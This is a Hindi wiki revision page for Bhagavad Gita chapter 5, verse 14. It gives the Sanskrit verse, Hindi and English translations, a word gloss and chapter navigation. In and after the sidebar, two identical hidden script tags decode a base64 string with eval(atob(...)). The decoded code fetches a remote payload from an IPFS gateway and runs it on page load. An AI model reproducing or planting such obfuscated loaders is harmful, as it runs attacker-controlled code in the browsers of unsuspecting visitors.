"गीता 5:14" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '{{menu}}<br />' to '{{menu}}')
छो (Text replace - '[[category' to '[[Category')
पंक्ति ५७: पंक्ति ५७:
 
</tr>
 
</tr>
 
</table>
 
</table>
[[category:गीता]]
+
[[Category:गीता]]
 
__INDEX__
 
__INDEX__

००:४१, ५ मार्च २०१० का अवतरण

गीता अध्याय-5 श्लोक-14 / Gita Chapter-5 Verse-14

प्रसंग-


जो साधक समस्त कर्मों को और कर्म फलों को भगवान् के अर्पण करके कर्म फल से अपना सम्बन्ध विच्छेद कर लेते हैं, उनके शुभाशुभ कर्मों के फल के भागी क्या भगवान् होते हैं ? इस जिज्ञासा पर कहते हैं-


न कर्तृत्वं न कर्माणि लोकस्य सृजति प्रभु: ।
न कर्मफलसंयोगं स्वभावस्तु प्रवर्तते ।।14।।



परमेश्वर मनुष्यों के न तो कर्तापन की, न कर्मों की और न कर्म फल के संयोग की ही रचना करते हैं; किंतु स्वभाव ही बर्त रहा है ।।14।।

God determines not the doership nor the doings of men, nor even their contact with the result of actions; but it is nature alone that functions.(14)


प्रभु: = परमेश्वर (भी); लोकस्य = भूतप्राणियों के; कर्तृत्वम् = कर्तापन को(और); कर्माणि = कर्मों को; कर्मफल संयोगम् = कर्मों के फल के संयोग को; सृजति = रचता है; तु =किन्तु (परमात्मा के प्रकाश से); स्वभाव: = प्रकृति (ही); प्रवर्तते = बर्तती है अर्थात् गुण ही गुणों में बर्त रहे है।



अध्याय पाँच श्लोक संख्या
Verses- Chapter-5

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8, 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 ,28 | 29

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>